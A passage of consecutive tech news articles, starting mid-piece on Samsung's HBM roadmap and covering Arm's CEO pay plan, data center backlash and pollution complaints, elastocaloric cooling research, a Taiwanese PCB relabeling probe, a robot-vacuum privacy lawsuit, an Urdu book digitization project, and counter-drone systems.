It also wants to use the edge of the base die for direct memory expansion, arguing that capacity is becoming as important as bandwidth. Dedicated controllers and PHYs could connect a secondary tier of external memory directly to custom HBM, rather than going through conventional PCIe expansion. Han said that extra memory could be LPDDR or even HBM, offering higher bandwidth and lower latency than PCIe-based memory extension.

Last in Phase 2 is compute — right on the base die. Samsung wants to place selected processing elements (PEs) under the DRAM, offloading memory-bound work while compute-heavy operations remain on the GPU. It calls this broader 2.5D architecture advanced HBM (aHBM), citing benefits such as less traffic across the interposer and reduced latency and I/O power draw.

Phase 3: zHBM goes fully 3D, placing the processor underneath the memory

Phase 3 appears to be Samsung's most radical step, with the company halting HBM architecture optimization and rebuilding it instead. Introducing zHBM, Samsung's “ultimate solution” for maximizing bandwidth under future AI's brutal power limits.

The zHBM concept eliminates the conventional side-by-side arrangement of XPU and HBM across an interposer. Instead, the processor sits directly beneath the DRAM stack in a true 3D structure. This architecture allows Samsung to replace the large edge PHY with distributed I/Os spread across the die. Data no longer has to travel laterally across an interposer, thereby shortening the physical path and eliminating the need for conventional HBM PHY and D2D link interfaces.

Samsung says the biggest payoff is power. Its projections show zHBM cutting I/O power by around 70% compared with HBM5. In another example, Samsung models roughly 2.3X more DRAM bandwidth while reducing memory power by about 100W compared to a four-stack HBM4E system.

On the flip side, thermals are the obvious complication. Han said Samsung is targeting roughly four-high zHBM stacks, compared with the much taller 12-high or 16-high configurations possible with conventional HBM, specifically because of heat. Distributed I/O helps by spreading the circuitry rather than concentrating it into hotspots, but zHBM is a balancing act involving capacity, bandwidth, heat, and physical integration.

Manufacturing zHBM will also require advanced wafer-on-wafer bonding and hybrid copper bonding to meet the required I/O density, with a much tighter co-design process between the DRAM and SoC teams. Samsung did not provide a firm launch date or timeline for the phases. However, HBM4’s 4nm logic base die is the concrete starting point, while cHBM and aHBM are nearer-term extensions, with zHBM as the long-term endpoint.

British semiconductor and software design company Arm is asking shareholders to approve a massive performance-based pay package for CEO Rene Haas worth up to $800 million if the company reaches a $2 trillion valuation, a move that has drawn pushback from proxy advisors ahead of a September 9th vote. According to an August 31 report by the Telegraph, the company is facing a potential shareholder revolt as proxy advisory firms such as Institutional Shareholder Services (ISS) and Glass Lewis urged investors to vote against the compensation plan, calling it excessive.

The compensation is arranged through a one-time Value Creation Plan (VCP) consisting of 425,000 Performance Share Units (PSUs), with the award divided across three market-cap milestones, according to Arm's regulatory filings. Haas earns 25% if Arm reaches $1 trillion by March 31, 2029; 50% cumulatively if Arm reaches $1.5 trillion by March 31, 2030; and the full award if Arm reaches $2 trillion by March 31, 2031. Arm will determine whether each target has been reached by using its rolling-average closing share price over any 60-day period prior to the corresponding deadline.

The shares also carry lengthy vesting periods. Awards associated with the $1 trillion, $1.5 trillion, and $2 trillion milestones vest on April 1 of 2031, 2032, and 2033, respectively, subject to Haas remaining employed by Arm. Meanwhile, missed interim milestones can roll forward. For example, shares attached to an earlier target can remain available if Arm subsequently reaches a higher milestone. The roughly $800 million maximum payout reflects the implied value of all 425,000 shares if Arm reaches the $2 trillion target, which corresponds to a share price of roughly $1,880.

ISS has raised concerns about the potential size of the award and the use of VCP-style compensation in Britain. The advisory firm said such plans remain uncommon in the UK market and can create the prospect of extremely large gains, while their effectiveness at improving corporate performance remains unproven. Glass Lewis has similarly recommended shareholders oppose the proposal, describing Haas's potential award as “excessive.” Arm currently has a market capitalization of around $264 billion, according to The Telegraph, leaving a substantial climb before the first $1 trillion milestone comes into range. The company's servers currently capture over 45% of data center revenue.

Arm argues that its compensation structure needs to be competitive with that of the US technology industry. The Cambridge-based company is listed on Nasdaq, Haas is based in California, and many of the companies competing with Arm for executives and engineers are American technology and semiconductor firms. Arm said its approach is designed around US compensation standards reflecting “the location of our key competitors for executive and other talent,” its Nasdaq listing, and the location of its CEO. The revised remuneration policy also raises the maximum achievement level for Haas's regular PSU awards from 125% to 200%, in addition to the separate VCP.

The shareholder advisers are also calling out Arm's corporate governance. ISS has recommended votes against the re-election of Haas and Arm chairman Masayoshi Son, citing insufficient independence on the company's board. Arm's own filings show that Japan’s SoftBank beneficially owned about 86.4% of Arm as of May 21, giving the Japanese conglomerate control over most matters put to a shareholder vote and substantial rights over board composition. Arm qualifies as a “controlled company” under Nasdaq rules and therefore uses exemptions from some governance requirements that apply to companies without a controlling shareholder.

Haas's expanding relationship with SoftBank adds another layer of governance concern. He has served on SoftBank's board since 2023 and was appointed CEO of SoftBank Group International in April 2026, a part-time role overseeing some of SoftBank's portfolio companies. Arm itself acknowledges in its annual filing that Haas's and Son's overlapping positions across the two companies could create, or appear to create, conflicts of interest. SoftBank's 86.4% holding also gives it enough voting power to determine the outcome of Arm's ordinary shareholder resolutions in most circumstances, making rejection of the pay proposal unlikely without SoftBank's support.

The ambitious $2 trillion target — which would make Arm the UK’s first trillion-dollar company — comes as the company attempts a significant business expansion. The company introduced its Arm AGI CPU in March 2026, pushing beyond its longstanding role of licensing processor IP and compute subsystems into Arm-designed production silicon aimed heavily at AI infrastructure. Arm specifically cited that expansion when introducing the revised remuneration policy, framing the VCP around what its remuneration committee calls “exceptional, market-leading growth” over the next five years.

Huge valuation-linked CEO packages have also become increasingly prominent in the US. Most famously, Tesla shareholders approved a performance package for Elon Musk in November 2025 that could ultimately be worth close to $1 trillion, with awards tied to market cap and operating milestones, including taking Tesla to an $8.5 trillion valuation.

Donald Trump doesn't appear to be a fan of the data center backlash that has swept the nation. Posting on his Truth Social platform, the President said that communities that reject data centers only do so because "they want to end up being backwards and poor," and posited that China "could not be happier with this anti Data Center movement." The comment comes amid a wide, albeit unorganized, pushback to data center buildouts in the United States that's left local communities and municipalities reckoning with an unanticipated and rapid infrastructure buildout.

Local pushback has been widespread and consistent across the country. Earlier this month, an Amazon data center came under fire for circumventing public feedback based on old laws. Since April, leaders across the nation have received an elevated number of credible death threats related to data centers since April. And last month, the number of local bans on data center developments crossed over 500 within the United States.

The President says to "let Data Reign" if communities "want to be successful and rich, with far lower taxes and jobs all over the place." Presumably, the President missed a comma after "taxes" and does not mean that data centers will lower the number of jobs available. The economic argument surrounding data centers is a tough issue to quantify, though it's not completely detached from reality.

A July study from Georgia Tech found that data center developments increase local employment by 3.5%, total wages by 5%, business establishments by 4.7%, and median household income by 1.9%. Further, the developments reduce unemployment rates. Critically, however, the study found that these benefits mainly show up in metropolitan areas, calling the benefits in rural areas "negligible." The study also highlights that data centers often employ fewer than 100 permanent workers, with specialized services "imported from outside the country."

The research also looked into trade-offs with electricity prices, finding that prices rise an average of 5% after a data center is built in a community.

In another analysis, Brookings found that, although new data center construction creates jobs, the number is somewhere between 100 and 200 permanent positions. Additionally, it found that areas with data centers see average home prices rising between 2% and 5% without any impact on wages.

Early attempts at studying the effects of data centers on local communities have, on one hand, substantiated the claims that data centers bring economic activity. On the other, they suggest that economic activity is smaller than expected, localized to the area in question, and comes with unintended side effects like higher electricity prices. There's also an environmental concern, one that is difficult to study in the midst of buildouts.

Instead of outright banning data centers, local governments and increasingly state governments have paused development to study the impact. In July, New York Governor Cathy Hochul signed a one-year moratorium on data center construction to study the economic and environmental impacts. In early August, Texas Governor Greg Abbott directed state agencies to cut data centers off from connecting to the Texas power grid until an audit of the facility's power and water usage is completed. Republican Governor Mike DeWine of Ohio has made similar directives.

At a national level, the Artificial Intelligence Data Center Moratorium Act, sponsored by Representative Alexandria Ocasio-Cortez, proposes a pause on data center construction and new AI products until the government can review both the environmental impacts of new data center construction, as well as the impacts on jobs for new AI products. The bill has been introduced, though it has yet to be debated in committee or voted on in the House.

A team of scientists in Germany and Japan has demonstrated a solid-state cooling system that uses heat to generate the mechanical work required for refrigeration, potentially opening a route to processors and data centers that recycle some of their own waste heat for cooling. Developed by researchers at the Karlsruhe Institute of Technology (KIT) and the University of Tsukuba, the system — detailed in Nature Energy on August 28 — replaces the electrically powered actuator normally required for elastocaloric cooling with a heat-responsive shape-memory alloy, allowing the cooling cycle to run from an external heat source rather than a motor.

The prototype combines two ultra-thin metal films that serve as an actuator and a refrigerant. A 22-micrometer titanium-nickel (TiNi) shape-memory film contracts when heated, converting thermal energy into mechanical motion. This motion stretches and releases a 26.5-micrometer titanium-nickel-iron (TiNiFe) refrigerant film, triggering a reversible phase transition that produces cooling. In laboratory tests, Joule heating the actuator to 86°C produced a 12.9 K temperature span across the refrigerant film — the difference between its hottest and coldest states during the cooling cycle — and a 4.0 K span across the assembled cooling device, measured between its hot and cold sides. When the researchers replaced the resistance heating with an external 130°C heat source, the prototype still maintained a 2.2 K device-level temperature span, demonstrating that an external thermal source could drive the cooling mechanism.

Conventional refrigeration and air conditioning systems mostly use vapor-compression cooling. A compressor raises the pressure and temperature of a refrigerant, which then dumps heat in a condenser before expanding and evaporating at low pressure to absorb heat from the space being cooled. The technology is mature and efficient, but requires an electrically driven compressor and relies on refrigerants with significant global warming potential.

Solid-state cooling moves heat without the conventional compressor-and-refrigerant loop. Thermoelectric coolers, for example, use electrical current to create a temperature difference across semiconductor materials and are already common in compact electronics. However, the researchers note that thermoelectric devices typically reach only 10% to 15% of the theoretical reversed-Carnot efficiency limit, roughly one-quarter that of modern vapor-compression systems.

Elastocaloric cooling takes a different route. Certain shape-memory alloys change crystal structure when mechanically loaded and unloaded. Applying stress induces a phase transition that releases latent heat and warms the material. Once that heat is rejected, releasing the load reverses the transition, causing the material to absorb heat and cool. The solid alloy effectively becomes the refrigerant.

The problem is that the material still has to be repeatedly stretched and released. Existing elastocaloric systems generally use motors, hydraulic systems, or electromechanical actuators to provide the required force, adding electrical consumption, bulk, and mechanical complexity — particularly troublesome for miniature coolers. Instead, the KIT-Tsukuba team made one shape-memory alloy drive another. Heating the TiNi actuator film causes it to recover its original shape and contract. Mechanically coupled to the TiNiFe refrigerant film, that contraction supplies the force required for the cooling cycle. As the actuator heats and cools, it loads and unloads the refrigerant without an electric motor.

Broken down further, the system works as follows: the researchers take a shape-memory alloy (TiNiFe refrigerant film) that cools when released after being stretched. Instead of using a mechanical system to repeatedly stretch and release that alloy, they use another shape-memory alloy (TiNi) that contracts when heated and mechanically couple it to its cooling counterpart. When the TiNi is heated, it contracts, stretching and “loading” the refrigerant film. Once the heat is removed, the TiNi relaxes, releasing the film and triggering the phase transition that causes it to cool. Under cyclic heating, the TiNi alloy therefore provides the repeated stretching and releasing motion the TiNiFe requires for elastocaloric cooling.

The thermal actuator delivered a force-to-displacement ratio of 14.5 N/mm, compared with 1.1 N/mm for a commercial electromechanical actuator the researchers used as a reference. The thin films also provide a high surface-to-volume ratio for rapid heat transfer. Under Joule-heated actuation, the integrated device reached a steady 4.0 K temperature span after 20 cycles and a specific cooling power of 4.43 W/g. When driven from the external heat source, those figures fell to 2.2 K and 3.32 W/g, respectively.

This external-heat result is the real proof of concept. While the technology is still an early-stage laboratory experiment, a scaled, perfected version could have interesting implications. Typically, the heat the system needs to operate is generated from electricity or another form of energy. However, an ideal scenario would be to repurpose existing waste heat — a setup already attainable in data centers. Therefore, the technology has the potential to cool processors using the heat they generate!

However, applying it as a data center cooling technology is far from the technology's current state. The prototype produced just 2.09 milliwatts of cooling power at zero temperature lift. That is nowhere near the heat loads of modern processors, much less AI accelerators or data-center racks. The researchers also cite relatively slow actuation, limited strain rate, and the current heat-exchanger geometry among the factors constraining performance. There also needs to be a way to make the heating cyclical.

The team is now working to connect multiple films in parallel to increase cooling capacity. Further progress will require scaling the active material, improving heat transfer and operating frequency, and proving long-term durability. For now, the researchers have demonstrated the underlying energy chain in which heat can be converted into mechanical motion, and that motion can be turned into useful cooling without an electric motor driving the refrigeration cycle.

TIME published its 2026 TIME100 AI list last week, with one notable omission: Jensen Huang, one of eight TIME-designated “Architects of AI,” whose GPUs power the training infrastructure for all frontier AI models and whose company has just reported one of the largest sets of quarterly earnings in American corporate history. AMD CEO Lisa Su is missing too, while Ben Affleck, Senator Bernie Sanders, and Paris Hilton all managed to clear a bar that the heads of the industry’s two dominant GPU makers apparently couldn’t. Aside from TIME’s Architect of AI and joint Person of the Year designation for 2025, Huang has featured on every previous edition of the TIME100 AI. This year, however, Nvidia’s sole entry is Josh Parker, the company’s head of sustainability.

Broadcom CEO Hock Tan, Micron CEO Sanjay Mehrotra, SMIC co-CEO Liang Mong Song, and Huawei HiSilicon president He Tingbo all appear on the 2026 list, joined by Cerebras’ Andrew Feldman, CoreWeave’s Michael Intrator, and Nscale’s Josh Payne. Together, the roster includes Nvidia’s HBM supplier, two of its biggest GPU cloud customers, its custom-accelerator rivals, and China, which is trying — and so far struggling — to replace Nvidia altogether.

Parker’s profile, which appears under the Thinkers category, focuses on data center energy and water consumption, alongside Nvidia’s tripling of Scope 3 emissions in two years, and the Rubin platform’s shift to 100% liquid cooling. “Nvidia is at the center of the AI revolution,” Parker told TIME.

TIME editor-in-chief Sam Jacobs wrote in the list’s accompanying article that selection was led by editor Ayesha Javed, and that the 100 honorees represent the year’s “key storylines and who, in our opinion, are having the most influence in driving these developments.” Now in its fourth year, this edition of the TIME100 AI appears to have focused especially on featuring the new additions to TIME’s community of AI leaders, with Mark Zuckerberg, Demis Hassabis, Sundar Pichai, and Satya Nadella representing four other honorees, arguably deserving of a space on this year’s list, churned out.

Su’s strong TIME back catalog makes her omission all the stranger still. The magazine named her its 2024 CEO of the Year, put her on the 2024 AI list and the main TIME100 in 2025, and included her among December’s Architects of AI.

Nvidia’s second-quarter results, reported August 26, totaled $96.2 billion in revenue, including $89 billion from data centers, up 117% year-over-year. The company became the first to cross a $5 trillion market cap last October, and posted a $57 billion record quarter three weeks later.

Taiwanese prosecutors are investigating Unimicron, one of the world’s largest PCB and chip substrate makers and a key supplier to Nvidia, Intel, Google, and Amazon, over allegations that it shipped China-made PCBs back to Taiwan and relabeled them as Taiwanese products, according to Nikkei Asia. Investigators raided the company’s headquarters in Taoyuan’s Guishan District and a manufacturing plant in Zhongli District on August 28, questioning 14 employees as suspects — including the general and deputy general managers of its PCB business — and four more people as witnesses.

Prosecutors say that the alleged conduct contravened Articles 216, 210, and 255 of Taiwan’s Criminal Code, which cover the use of forged private documents and false labeling of an item’s origin. Wang, the person identified as the PCB department general manager, was released on bail of NT$15 million (roughly $473,000), while a deputy general manager identified as Wu was released on NT$12 million (roughly $378,000).

Three others are said to have posted bail ranging from NT$300,000 to NT$5 million, and the remaining nine were released without bail. "There was strong suspicion that they had violated Taiwan's law covering the use of forged private documents and false labeling of goods," the Taoyuan District Prosecutors Office said in a statement. Unimicron told the Taiwan stock exchange that it’s fully cooperating with the investigation and that it doesn’t expect a material impact on its operations.

Since August last year, U.S. Customs and Border Protection has applied an additional 40% tariff on goods that it determines were transshipped through third countries to evade duties, on top of any other applicable penalties, and the agency has no authority to waive or otherwise mitigate the charge. If any relabeled Unimicron PCBs were to reach the U.S., that penalty would fall on the company’s American customers as importers of record.

The White House has identified 40 countries and territories that it says pose an elevated risk of illegal transshipment, with Taiwan flagged as a key concern. Taipei has been running major crackdowns on “origin washing,” where companies claim goods are made in Taiwan to obtain preferential tariff treatment, a crackdown that’s perhaps perfectly illustrated by the fact that prosecutors published names and bail amounts within 24 hours of raiding one of the country’s most important listed tech companies. After all, the “Made in Taiwan” label is ultimately a trade asset whose value rests on the fact that it’s not “Made in China.” Since its elevated risk designation, Taiwan is understandably keen to show Washington that it polices the difference itself rather than leaving it to U.S. Customs.

The products involved in this crackdown appear to be conventional PCBs, not the high-end ABF substrates used for Intel’s EMIB-T platform or Nvidia’s advanced data center accelerators. Unimicron’s offshore manufacturing remains in China for standard substrates, PCBs, HDI, and flexible boards, while its advanced CoWoS-related substrate capacity is based at its Yangmei factory in Taoyuan.

If the case concerns relabeling on individual products, the fallout will be limited to the Taiwanese prosecution. If, however, it turns out that China-made goods were transshipped through Taiwan to alter their origin before export to the U.S., that’s an entirely different story and could trigger CBP’s 40% transshipment penalty on the affected goods, along with potential retroactive duty reassessments, which would hit Unimicron’s American customers as importers of record.

In a strange turn of events under Taiwanese law, both parties in a judicial contest lost against each other. A man sued his wife for having an extramarital affair and used footage from a robot vacuum to prove his case. He ultimately won the lawsuit and was awarded a healthy ~$19,000 USD in compensation for emotional distress, but since he secretly recorded his wife, she sued him back for invading her privacy. The courts ruled in her favor, forcing the man to pay a fine equal to 30% of what he'd just earned, along with a sentence of five months in prison.

The couple got married in 2021 and used to live with their parents, but they would occasionally spend time in their holiday home. During a vacation in 2023, the man discovered a used toothbrush in their bathroom, sparking suspicion that was confirmed by checking CCTV footage from a parking garage. In the footage, he saw another person who had driven his wife home before, hypothesizing him as his wife's partner in crime.

Three months later, he used a robot vacuum app to try to remotely contact his wife but, upon doing so, stumbled upon something shocking: The footage from the robot vacuum's camera showed his wife changing her clothes, getting in bed with the same person he had previously identified, and walking around the house naked while the other man comfortably sank into their sofa. He recorded the entire thing to use as evidence in a lawsuit that he brought shortly after.

Cheating is not a criminal offense under Taiwanese law, but infringing on someone's marital rights can still yield monetary compensation because it's a breach of contract. As such, the man sought a 2 million TWD (Taiwanese dollar), or roughly $63,000, reimbursement from his wife and her new lover. He used the footage from the robot vacuum's camera feed to prove that their relationship expanded far beyond casual friendship and the judges ruled in his favor. He won 500,000 TWD in compensation, which translates to $19,000. However, the fight was far from over.

Since recording someone without their consent is illegal across most parts of the world, including Taiwan, there were grounds for a counter-lawsuit for evidence collection. As such, the wife sued him for recording private, intimate footage of her and argued that the sensors and lights on the robot vacuum cleaner weren't enough to indicate she was being filmed. The man contended that the courts already admitted the footage as evidence, so it wasn't illegal material.

However, it was still obtained via illegal means, so the courts rejected his defense on the basis of invading the wife's privacy. In the hierarchy of constitution, individual rights outweigh marital duties. He was fined 150,000 TWD ($4,700) and sentenced to prison for five months. It won't be unreasonable to say that prison time is a much worse outcome than any amount of compensation paid by the other party. Not to mention having a criminal record on your name can tarnish your civil reputation.

Without the smoking gun that was the robot vacuum footage, the marriage lawsuit could've dragged on for much longer, draining the man of his time, energy, and money in place of a swift verdict. Still, the fact that the husband has to go to jail and pay the equivalent of 30% of his payout back to the state as a fine basically negates the financial gain from the marriage lawsuit. This was a net loss, especially when you consider he already only received a fraction of the 2 million TWD compensation initially sought.

Electricity supply in the U.S. is a limiting factor preventing AI data centers from coming online as quickly as possible. Because of this, many projects are turning to portable natural gas turbine generators to get the electricity they need and bypass long wait times to connect to the grid. This has driven demand for turbines, so Elon Musk said on X that SpaceX will bring turbine blade and vane casting in-house.

Musk was one of the first to deploy “portable” power generators to power a data center, allowing him to bring the Colossus data center in Memphis, Tennessee, online in record time. Note that these mobile generators aren’t small devices — they’re massive units about the size of one trailer and may also include another trailer or two of other necessary parts and accessories to run it (not including the tank needed for its fuel). OpenAI followed suit a few months later, announcing it will deploy turbines at the first Stargate data center to deliver additional power.

This sudden influx of demand has led to jet engine shortages for data center operators. Beyond the fact that engine manufacturers weren’t prepared for the AI boom, commercial aviation has already been suffering from its own shortages due to supply chain and engine design issues even before data center developers started buying up turbines.

Turbine blade and vane manufacturing is one of the biggest bottlenecks in jet engine production right now. The blades used in these engines are difficult to build, with one batch often requiring 60 to 90 weeks to produce from start to finish. That’s because these are specialized parts that are subjected to extreme forces and temperatures, especially in the core of the engine. Even if the engines that these blades will end up on are bolted to the ground or strapped to a trailer instead of hanging under the wing of an airliner, manufacturing them still requires the same level of care and precision.

Because of this, it seems that Musk wants to take things into his own hands by making SpaceX manufacture its own turbine blades. He says this move could cut deliveries by 18 months, allowing xAI to get brand-new turbine generators much faster instead of waiting behind a long queue expected to stretch into 2030.

SpaceX and Tesla aren’t abandoning solar power, but Musk says that “natural gas will still be needed to supplement and bootstrap solar for several years.” Because of this, it seems that he’s willing to invest in parts of turbine manufacturing as demand for turbine generators for data centers increases in the coming years. He has even reportedly quietly bought a portable gas and diesel turbine fleet for around a billion dollars, possibly to take advantage of this boom.

It’s unclear how Elon Musk intends to make turbine blades and vanes, especially given how complicated the process is. Nevertheless, he’s no stranger to tackling “impossible” problems, especially given his track record with Tesla and SpaceX.

Around 2015, a trio of Pakistani friends took it upon themselves to digitize a large number of out-of-print books in Urdu, many of them lithographs — they call it the Ibteda Digital Library. They did it for the love of the language, with no budget or support, but after 576,000 shutter counts on a D5300 camera, 326,000 on a D3300, and 526,000 dual-page photos, they have now had to call it quits after a decade. However, eventually one of the trio came up with a finely-tuned machine-learning process that may eventually be of help to similar projects worldwide. The project certainly stands in contrast to the current practice of large AI companies scanning rare books and destroying them to train AI chatbots.

The team didn't have any formal budget worth and bought all of the books out of their own pockets. They kicked off the efforts with a single Nikon D5300 camera, some LED bulbs, and a glass sheet taken from a photocopier to squeeze the books against. The process was manual in more ways than one: besides turning the pages by hand, the members spent copious amounts of time in Photoshop post-processing the results.

Getting an archival-quality digital copy of a page isn't as simple as taking a photograph with the best camera you can find. It requires maintaining consistent margins, text size, orientation, and using the same perspective correction across an entire book, among many other fine details. Rarely can the same procedure be used across more than a few publications — even given two otherwise identical books, book A may be much thicker than book B, meaning the spacing between the pages, and possibly the perspective, will be different.

Adding to the challenge, the bulk of the works were in Urdu script, likely Nastaliq. Urdu is the national language of Pakistan and also spoken across part of India, and in many worldwide communities. Its written form was originally an elegant flowing script, but people switched to using Roman characters with the advent of phones and the internet.

The script format means that layouts are almost always unique, and the corpus includes everything from printed books to centuries-old lithographs to handwritten notes. Plus, Urdu script uses a lot of dots, diacritics, and small symbols, meaning photography noise, dirt, and blemishes had to be visually distinguishable from actual writing. In other words, each book was its own corner case, and old lithographs in particular had copious amounts of margin notes.

All told, this meant that while photographing the books was tedious but reasonably fast, the post-processing was definitely not. After 576,000 shutter counts on the D5300 and 326,000 on the D3300 camera, there were over 526,000 dual-page photos left to handle after the team had to give up on the project in April 2026. Manually processing those was out of the question, so one of the researchers turned their eye to automation using OpenCV.

The first few attempts with standard computer-vision methods didn't work out, as a rule set that worked for a set of books completely failed for the next one. The author then understood they could use their own manually processed images to establish a source/target correspondence: in their own words, "finished pages became labels," giving birth to the idea of calculating the homography fit from the Photoshop files and using it for training a neural network.

The first challenge was matching the crop borders, easier said than done because "dense Urdu print repeats strokes, words, borders, and column patterns," meaning that marks from neighboring pages could throw off the measurements. Next up, visible area identification and gutter separation were made tricky by tables and deep gutter shadows. Cropping errors required a specific pass, as did blemish removal.

Interestingly enough, the researcher noticed that using a bigger model or more training samples actually reduced the accuracy of the results. The choice of crop margin (inset) for each book was unique, made to the editor's judgement. But since it had no discernible pattern, adding more books made the model's pattern recognition worse, not better.

The final process still needs ten calibration crops for a new book, but that's a pretty reasonable amount of manual labor to be able to process a book entirely. Finally, the books are hosted in a ZFS pool with BLAKE3 manifests.

The entire tale and all the technical details are explained in a lengthy blog post, and you can peruse the beautiful Urdu writings at the Ibteda Digital Library page at the Internet Archive. My Western eyes can't read any of it, but the poem translations are beautiful.

The U.S. military shot down three drones that were suspected of operating for Mexican cartels earlier this week. According to CBS News, the uncrewed aerial vehicles (UAVs) were destroyed by an “Army Multipurpose High Energy Laser System” operated by U.S. Northern Command (USNORTHCOM) between Tuesday evening and Wednesday morning.

"Cartel networks are increasingly employing unmanned aircraft systems to facilitate illicit human-smuggling and actively spy on our personnel and law enforcement partners," Maj. Gen. Curtis Taylor, commander of the southern border's Joint Task Force, said in a statement. "By integrating layered countermeasures alongside advanced directed-energy capabilities like this laser system, we have made it clear that we will not tolerate hostile surveillance." It’s unclear if the drones were shot down over American or Mexican airspace, but a military spokesperson told the outlet that they “were taken in coordination with all partners operating along the border.”

This isn’t the first time that a laser weapon has been used to defend American airspace. Back in February, the Pentagon used a similar system after it detected and shot down unknown aerial targets. This resulted in the emergency closure of a major airport, resulting in massive disruptions, and it also turned out that the targets were later reported to be just party balloons. Another incident involving the use of laser weapons happened a couple of weeks later, and it resulted in the shooting down of an actual drone this time. Unfortunately, the targeted drone turned out to be from the Customs and Border Protection unit, not a hostile one operated by the Mexican cartels. The military refused to release further details about the recent drone shoot-downs, citing operational security and ongoing operations, but they’ve hopefully hit the correct targets this time.

The U.S. isn’t alone in deploying drones for protecting its assets and territories. The UK has recently revealed that it’s deploying its DragonFire laser weapon on Royal Navy destroyers by 2027, while China has developed a backpack-sized man-portable anti-drone laser system that can hit targets up to 1,600 feet away. While these systems are expensive to acquire, they’re much cheaper to operate compared to traditional man-portable air defense systems or MANPADS, with each shot costing as little as $13 (versus the thousands to millions of dollars for missiles). This makes them more economically feasible for defending against drones, whose effective use in the battlefield has been made prominent by Ukrainians as they defended against the much larger Russian military. But even if you’re a civilian, you can get your own laser air defense system for around $1,000 and protect your home from flying bugs.

San Francisco defense startup Mara has secured $7 million in a pre-seed round to produce what it calls Spike, a portable counter-drone system housed inside a backpack. The complete system costs $30,000 to $100,000, depending on the number of Seekers included, but its 250g (~8.8 ounces) autonomous interceptors are designed to cost no more than the few-hundred-dollar FPV quadcopters they destroy. Those quadcopters, which carry munitions capable of destroying armored vehicles worth millions, are now reported to be the leading cause of Ukrainian combat casualties.

A single Spike launcher holds up to 48 of the Seeker interceptors and reloads in less than a minute, with each Seeker capable of engaging targets out to roughly one mile, per Mara's published specs. In an exclusive interview, CEO Daniel Kofman told the outlet Tectonic Defense how FPV crews operate on the frontline. "They launch from anywhere at anything, and they never attack one at a time. They always attack four to six at a time in waves, doing pincer strikes in rapid succession or simultaneously."

The system's Spotter targeting unit fuses electro-optical and acoustic sensors with an optional low-emission W-band radar, and Mara says it detects and tracks fiber-optic and fully autonomous drones in all weather, day or night. Radio-frequency jammers and RF-based detectors can't touch either drone type, since neither emits a control signal to find or break.

Kofman says that the Seekers are built to trade at a "one-to-one" or a "worst case, two-to-one" cost ratio against the drones they intercept, with Mara claiming that the interceptor costs 20 times less than the next-cheapest alternative. Fully autonomous, Mara claims the Seekers respond much faster than a human can react to a 100 mph quadcopter, though a human stays in the loop at all times to set rules of engagement and abort launches.

Mara’s system is substantially cheaper than systems like Lockheed Martin's reusable Morfius X-Rotor, which downs swarms with high-power microwaves, but close to the $1,000 3D-printed interceptors Ukraine builds against Shahed-type drones, though those target larger, slower threats than FPV quadcopters.

Mara joined NATO's DIANA accelerator 2026 cohort and holds cooperative research agreements with three unnamed U.S. defense organizations. The company is also running a civilian pilot at a South Korean commercial port. Ukrainian forces have operated Spotter near the front line, where the company says it tracked multiple FPV drones from 40km (~25 miles) back, and Mara has its first paid order from a European NATO partner for an undisclosed exercise.

Ground-mounted Spike units are due to be in customers' hands by the end of 2026, with vehicle-mounted and man-portable variants and scaled production planned for 2027.

The DataOne data center in Vineland, New Jersey, has faced a slew of complaints from the community since construction began in 2025. According to Stand.earth, the project has reportedly been operating several unpermitted gas turbines on site, spewing air pollution in the area near two local schools. Aside from that, the site has also faced allegations of constructing an unpermitted 1.5-million-gallon liquefied natural gas storage tank and of unacceptable noise levels at night, which affected residents within a half-mile radius of the data center.

Matt Williams, chairperson of the Sustain South Jersey group, told Tom’s Hardware that construction had already begun even before Nebius signed a multi-year agreement to “deliver dedicated capacity to Microsoft from its new data center in Vineland, New Jersey,” in October 2025. However, the residents only became aware that the project was a data center after the $19.4 billion deal to secure around 100,000 Nvidia GB300 GPUs for the tech giant was made public.

Vineland residents began seeing references to the data center in various government documents, prompting several questions to the city government. Because of this, the city called a town hall meeting last January 2026 — several months after construction on the data center had already begun, with DataOne CEO Charles-Antoine Beyney admitting that the meeting should have been initiated several months before.

A few weeks before the town hall, some people living within a half-mile radius of the site started complaining about noise from the development. While they couldn’t confirm the source of the noise, it was often described as a low hum, similar to that of a generator. A later investigation revealed that the site had 62 gas turbines deployed in the area, with at least 45 running at any given time. This is similar to what SpaceXAI has done in Memphis, Tennessee, where it deployed 69 unpermitted natural gas turbines to power its data centers. While the company has since promised to remove these polluting generators, it will do so only over a span of one year, as they’re being slowly replaced by a 1.2-GW on-site power plant.

There have also been concerns that the site’s stormwater management system does not comply with the state’s regulations. A third-party engineering review stated that if these issues are not fixed, they could result in on-site and off-site flooding, especially given the site’s massive 55-acre size. The experts also noted that the data center has “underestimated the annual groundwater recharge by at least 20 million gallons per year,” which could result in lower aquifer levels and reduce the amount of water available or the water quality for the people living in the area.

“The incident should shatter the illusion that Microsoft is a ‘good neighbor’ or in any way more responsible than the other Big Tech companies,” Stand.earth Senior Campaigner Nathan Taft said in the statement. “This investigation has revealed that far from ‘doing this work differently than other’ as it promised, Microsoft is drawing directly from Elon Musk’s xAI playbook of doing the damage first and asking for permission later.”

In an interview with Tom’s Hardware, Nathan said that even though Microsoft does not directly own or operate the Vineland data center, it stands to reason that the tech giant should do something about all these complaints, as it’s the one that has contracted Nebius for the computing power, which resulted in DataOne’s construction project. He compared this to a contractor making a mess on their client’s neighbor’s property. Even though a third-party provider — DataOne — was at fault for the issue, the fact that the people have already been complaining should give Nebius pause and compel Microsoft to do something.

DataOne’s actions in New Jersey directly contradict the promise Microsoft made back in January 2026, and residents are asking the tech giant to stand by its word. Although the concerns about air and noise pollution are technically not mentioned in the company’s “community-friendly” commitments, these issues still impact the quality of life of the people living around the DataOne data center. Aside from that, the unpermitted construction shows it does not adhere to the rules of Vineland. “The developers have been ‘act first, pay the fine, and ask for forgiveness later,’” says Mr. Williams.

The U.S. Navy successfully tested a sail-powered drone in live-fire exercises in the Pacific: the Saildrone Surveyor SD-3001 Unmanned Surface Vessel (USV), which was co-developed with Lockheed Martin to carry lethal combat technology. During the recent Rim of the Pacific (RIMPAC) 2026 exercises, the Saildrone launched two combat-proven Joint-Air-to-Ground Missiles (JAGM) in coordination with the USS Theodore Roosevelt (CVN-71) Carrier Strike Group. The Saildrone’s use in passive electronic warfare (EW) tasks was also verified during the exercises.

